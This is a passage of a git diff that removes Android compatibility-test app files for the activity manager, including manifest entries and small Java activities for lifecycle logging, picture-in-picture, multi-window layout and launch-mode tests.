-                  android:exported="true">
-                  <layout android:defaultWidth="25%"
-                          android:defaultHeight="35%"
-                          android:gravity="top|right"
-                          android:minWidth="90dp"
-                          android:minHeight="80dp"
-                  />
-        </activity>
-        <activity android:name=".BottomLeftLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
-                  <layout android:defaultWidth="25%"
-                          android:defaultHeight="35%"
-                          android:gravity="bottom|left"
-                          android:minWidth="90dp"
-                          android:minHeight="80dp"
-                  />
-        </activity>
-        <activity android:name=".BottomRightLayoutActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true">
-                  <layout android:defaultWidth="240dp"
-                          android:defaultHeight="160dp"
-                          android:gravity="bottom|right"
-                          android:minWidth="100dp"
-                          android:minHeight="80dp"
-                  />
-        </activity>
-        <activity android:name=".TurnScreenOnActivity"
-                  android:exported="true"
-        />
-        <activity android:name=".SingleTaskActivity"
-            android:exported="true"
-            android:launchMode="singleTask"
-        />
-        <activity android:name=".SingleInstanceActivity"
-            android:exported="true"
-            android:launchMode="singleInstance"
-        />
-        <activity android:name=".TrampolineActivity"
-                  android:exported="true"
-                  android:theme="@android:style/Theme.NoDisplay"
-        />
-        <activity android:name=".BroadcastReceiverActivity"
-                  android:resizeableActivity="true"
-                  android:exported="true"
-        />
-        <activity android:name=".NoHomeScreenObserver"
-                  android:exported="true"
-        />
-        <activity-alias android:enabled="true"
-                android:exported="true"
-                android:name=".EntryPointAliasActivity"
-                android:targetActivity=".TrampolineActivity" >
-        </activity-alias>
-    </application>
-</manifest>
-
diff --git a/hostsidetests/services/activitymanager/app/res/values/styles.xml b/hostsidetests/services/activitymanager/app/res/values/styles.xml
deleted file mode 100644
index 59ebad2..0000000
--- a/hostsidetests/services/activitymanager/app/res/values/styles.xml
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2016 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<resources>
-    <style name="Theme.Transparent" parent="android:Theme">
-        <item name="android:windowIsTranslucent">true</item>
-        <item name="android:windowBackground">@android:color/transparent</item>
-        <item name="android:windowNoTitle">true</item>
-    </style>
-</resources>
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/AbstractLifecycleLogActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/AbstractLifecycleLogActivity.java
deleted file mode 100644
index 8abb1c5..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/AbstractLifecycleLogActivity.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-import android.content.res.Configuration;
-import android.graphics.Point;
-import android.os.Bundle;
-import android.util.DisplayMetrics;
-import android.util.Log;
-import android.view.Display;
-import android.view.WindowManager;
-
-public abstract class AbstractLifecycleLogActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        Log.i(getTag(), "onCreate");
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        Log.i(getTag(), "onConfigurationChanged");
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        Log.i(getTag(), "onDestroy");
-    }
-
-    protected abstract String getTag();
-
-    protected void dumpDisplaySize(Configuration config) {
-        // Dump the display size as seen by this Activity.
-        final WindowManager wm = getSystemService(WindowManager.class);
-        final Display display = wm.getDefaultDisplay();
-        final Point point = new Point();
-        display.getSize(point);
-        final DisplayMetrics metrics = getResources().getDisplayMetrics();
-
-        final String line = "config" +
-                " size=" + buildCoordString(config.screenWidthDp, config.screenHeightDp) +
-                " displaySize=" + buildCoordString(point.x, point.y) +
-                " metricsSize=" + buildCoordString(metrics.widthPixels, metrics.heightPixels) +
-                " smallestScreenWidth=" + config.smallestScreenWidthDp;
-
-        Log.i(getTag(), line);
-    }
-
-    protected static String buildCoordString(int x, int y) {
-        return "(" + x + "," + y + ")";
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/AlwaysFocusablePipActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/AlwaysFocusablePipActivity.java
deleted file mode 100644
index b5c736d..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/AlwaysFocusablePipActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.graphics.Rect;
-
-public class AlwaysFocusablePipActivity extends Activity {
-
-    static void launchAlwaysFocusablePipActivity(Activity caller) {
-        final Intent intent = new Intent(caller, AlwaysFocusablePipActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
-
-        final ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchBounds(new Rect(0, 0, 500, 500));
-        options.setLaunchStackId(4 /* ActivityManager.StackId.PINNED_STACK_ID */);
-        caller.startActivity(intent, options.toBundle());
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/AutoEnterPipActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/AutoEnterPipActivity.java
deleted file mode 100644
index 97bc041..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/AutoEnterPipActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class AutoEnterPipActivity extends Activity {
-    @Override
-    protected void onResume() {
-        super.onResume();
-        enterPictureInPictureMode();
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/BottomLeftLayoutActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/BottomLeftLayoutActivity.java
deleted file mode 100644
index 27a6fe2..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/BottomLeftLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class BottomLeftLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/BottomRightLayoutActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/BottomRightLayoutActivity.java
deleted file mode 100644
index 7a91510..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/BottomRightLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class BottomRightLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/BroadcastReceiverActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/BroadcastReceiverActivity.java
deleted file mode 100644
index d55fea0..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/BroadcastReceiverActivity.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-
-/**
- * Activity that registers broadcast receiver .
- */
-public class BroadcastReceiverActivity extends Activity {
-
-    public static final String ACTION_TRIGGER_BROADCAST = "trigger_broadcast";
-
-    private TestBroadcastReceiver mBroadcastReceiver = new TestBroadcastReceiver();
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-
-        IntentFilter broadcastFilter = new IntentFilter(ACTION_TRIGGER_BROADCAST);
-
-        registerReceiver(mBroadcastReceiver, broadcastFilter);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        unregisterReceiver(mBroadcastReceiver);
-    }
-
-    public class TestBroadcastReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            final Bundle extras = intent.getExtras();
-            if (extras == null) {
-                return;
-            }
-            if (extras.getBoolean("finish")) {
-                finish();
-            }
-        }
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/DockedActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/DockedActivity.java
deleted file mode 100644
index 427fd29..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/DockedActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class DockedActivity extends Activity {
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/FreeformActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/FreeformActivity.java
deleted file mode 100644
index 6daf3d98..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/FreeformActivity.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.graphics.Rect;
-
-public class FreeformActivity extends Activity {
-
-    @Override
-    public void onResume() {
-        super.onResume();
-        final Intent intent = new Intent(this, TestActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
-
-        final ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchBounds(new Rect(0, 0, 900, 900));
-        this.startActivity(intent, options.toBundle());
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/LaunchIntoPinnedStackPipActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/LaunchIntoPinnedStackPipActivity.java
deleted file mode 100644
index 45386bf..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/LaunchIntoPinnedStackPipActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class LaunchIntoPinnedStackPipActivity extends Activity {
-    @Override
-    protected void onResume() {
-        super.onResume();
-        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/LaunchPipOnPipActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/LaunchPipOnPipActivity.java
deleted file mode 100644
index d7b4cc1..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/LaunchPipOnPipActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class LaunchPipOnPipActivity extends Activity {
-    @Override
-    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
-        super.onPictureInPictureModeChanged(isInPictureInPictureMode);
-        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/LaunchingActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/LaunchingActivity.java
deleted file mode 100644
index 83ebf09..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/LaunchingActivity.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package android.server.app;
-
-import static android.content.Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT;
-import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.content.ComponentName;
-import android.net.Uri;
-import android.os.Bundle;
-
-/**
- * Activity that launches another activities when new intent is received.
- */
-public class LaunchingActivity extends Activity {
-    @Override
-    protected void onNewIntent(Intent intent) {
-        super.onNewIntent(intent);
-        final Bundle extras = intent.getExtras();
-        if (extras == null) {
-            return;
-        }
-
-        Intent newIntent = new Intent();
-        String targetActivity = extras.getString("target_activity");
-        if (targetActivity != null) {
-            String packageName = getApplicationContext().getPackageName();
-            newIntent.setComponent(new ComponentName(packageName,
-                    packageName + "." + targetActivity));
-        } else {
-            newIntent.setClass(this, TestActivity.class);
-        }
-
-        if (extras.getBoolean("launch_to_the_side")) {
-            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_LAUNCH_ADJACENT);
-            if (extras.getBoolean("multiple_task")) {
-                newIntent.addFlags(FLAG_ACTIVITY_MULTIPLE_TASK);
-            }
-            if (extras.getBoolean("random_data")) {
-                Uri data = new Uri.Builder()
-                        .path(String.valueOf(System.currentTimeMillis()))
-                        .build();
-                newIntent.setData(data);
-            }
-        } else {
-            // We're all set, just launch.
-        }
-
-        startActivity(newIntent);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/NoHomeScreenObserver.java b/hostsidetests/services/activitymanager/app/src/android/server/app/NoHomeScreenObserver.java
deleted file mode 100644
index 47e8369..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/NoHomeScreenObserver.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package android.server.app;
-
-import android.app.Activity;
-import android.content.res.Resources;
-import android.os.Bundle;
-import android.util.Log;
-
-public class NoHomeScreenObserver extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        boolean support = false;
-        try {
-            int id = Resources.getSystem().getIdentifier("config_noHomeScreen", "bool", "android");
-            support = Resources.getSystem().getBoolean(id);
-        } catch (android.content.res.Resources.NotFoundException e) {
-            // Ignore the exception.
-        }
-        Log.i(getClass().getSimpleName(), "HEAD=OK");
-        Log.i(getClass().getSimpleName(), "config_noHomeScreen=" + support);
-    }
-}
-
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/NoRelaunchActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/NoRelaunchActivity.java
deleted file mode 100644
index 0058c13..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/NoRelaunchActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-public class NoRelaunchActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = NoRelaunchActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/NonResizeableActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/NonResizeableActivity.java
deleted file mode 100644
index 6312b47..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/NonResizeableActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-public class NonResizeableActivity extends AbstractLifecycleLogActivity {
-
-     private static final String TAG = NonResizeableActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/PipActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/PipActivity.java
deleted file mode 100644
index b750389..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/PipActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class PipActivity extends Activity {
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/ResizeableActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/ResizeableActivity.java
deleted file mode 100644
index 4d46a83..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/ResizeableActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-package android.server.app;
-
-import android.content.res.Configuration;
-import android.os.Bundle;
-
-public class ResizeableActivity extends AbstractLifecycleLogActivity {
-    @Override
-    protected String getTag() {
-        return "ResizeableActivity";
-    }
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        dumpDisplaySize(getResources().getConfiguration());
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        dumpDisplaySize(newConfig);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/SingleInstanceActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/SingleInstanceActivity.java
deleted file mode 100644
index b745adc..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/SingleInstanceActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class SingleInstanceActivity extends Activity {
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/SingleTaskActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/SingleTaskActivity.java
deleted file mode 100644
index 0a99ea3..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/SingleTaskActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class SingleTaskActivity extends Activity {
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/SlowCreateActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/SlowCreateActivity.java
deleted file mode 100644
index 481f5be..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/SlowCreateActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class SlowCreateActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        try {
-            Thread.sleep(2000);
-        } catch(InterruptedException e) {}
-        super.onCreate(savedInstanceState);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/TestActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/TestActivity.java
deleted file mode 100644
index f469a1c..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/TestActivity.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-import android.content.res.Configuration;
-
-public class TestActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = TestActivity.class.getSimpleName();
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        dumpDisplaySize(getResources().getConfiguration());
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        dumpDisplaySize(newConfig);
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/TopLeftLayoutActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/TopLeftLayoutActivity.java
deleted file mode 100644
index 3a0267b..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/TopLeftLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class TopLeftLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/TopRightLayoutActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/TopRightLayoutActivity.java
deleted file mode 100644
index eb3b1b0..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/TopRightLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.app;
-
-import android.app.Activity;
-
-public class TopRightLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activitymanager/app/src/android/server/app/TrampolineActivity.java b/hostsidetests/services/activitymanager/app/src/android/server/app/TrampolineActivity.java
deleted file mode 100644
index 4b80482..0000000
--- a/hostsidetests/services/activitymanager/app/src/android/server/app/TrampolineActivity.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
